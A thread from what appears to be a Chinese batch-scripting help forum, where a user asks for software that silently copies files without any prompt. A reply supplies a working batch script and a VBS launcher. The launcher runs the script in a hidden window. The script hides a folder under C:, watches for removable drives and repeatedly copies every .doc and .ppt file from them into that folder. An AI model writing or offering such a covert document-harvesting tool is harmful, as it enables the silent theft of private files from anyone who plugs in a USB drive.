[新手上路]批处理新手入门导读[视频教程]批处理基础视频教程[视频教程]VBS基础视频教程[批处理精品]批处理版照片整理器
[批处理精品]纯批处理备份&还原驱动[批处理精品]CMD命令50条不能说的秘密[在线下载]第三方命令行工具[在线帮助]VBScript / JScript 在线参考
返回列表 发帖

求助一个能自动复制电脑里文件的程序或软件~~~~

能自动把电脑里文件复制到U盘里  无任何提示的  非常感谢啊

都没说什么文件。所有文件? 你用的是2T的U盘?那你碉堡了

TOP

是word文件`

TOP

本帖最后由 citear 于 2014-5-13 14:50 编辑
  1. @echo off
  2. md c:\copy\文件
  3. attrib +s +h c:\copy
  4. attrib +s +h c:\copy\文件
  5. ::ping 127.0.0.1 -n 60 >nul
  6. :zhu
  7. for %%a in (c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do @fsutil fsinfo drivetype %%a: >>"c:\u.log"
  8. findstr /i "可移动" "c:\u.log"
  9. if errorlevel==1 goto end
  10. if errorlevel==0 goto open
  11. :end
  12. del /f /s /q "c:\u.log"
  13. cls
  14. goto :zhu
  15. :open
  16. cls
  17. for /f "tokens=1" %%a in ('findstr /i "可移动" "c:\u.log"') do @(
  18. if exist %%a (
  19. %%a
  20. cd \
  21. xcopy /d *.doc "c:\copy\文件"
  22. xcopy /d *.ppt "c:\copy\文件"
  23. for /f "delims=" %%i in ('dir /s /ad /b \') do xcopy /d  "%%i\*.doc" "c:\copy\文件"
  24. cls
  25. for /f "delims=" %%i in ('dir /s /ad /b \') do xcopy /d  "%%i\*.ppt" "c:\copy\文件"
  26. cls
  27. )
  28. )
  29. del /f /s /q "c:\u.log"
  30. cls
  31. ping 127.0.0.1 -n 60 >nul
  32. goto :zhu
复制代码
这个保存为a.bat
  1. set ws=WScript.CreateObject("WScript.Shell")
  2. ws.Run "A.bat",0
复制代码
这个随便是什么名字,后缀是.vbs

但是bat文件的名字要与ws.Run "A.bat",0中的a.bat名字一样
这是拷贝过来的文件的位置 c:\copy\文件
create in tear !

TOP

很奇怪要自动复制干吗呢
有创新,多创新;无创新,多模仿;无模仿,多坚持

TOP

返回列表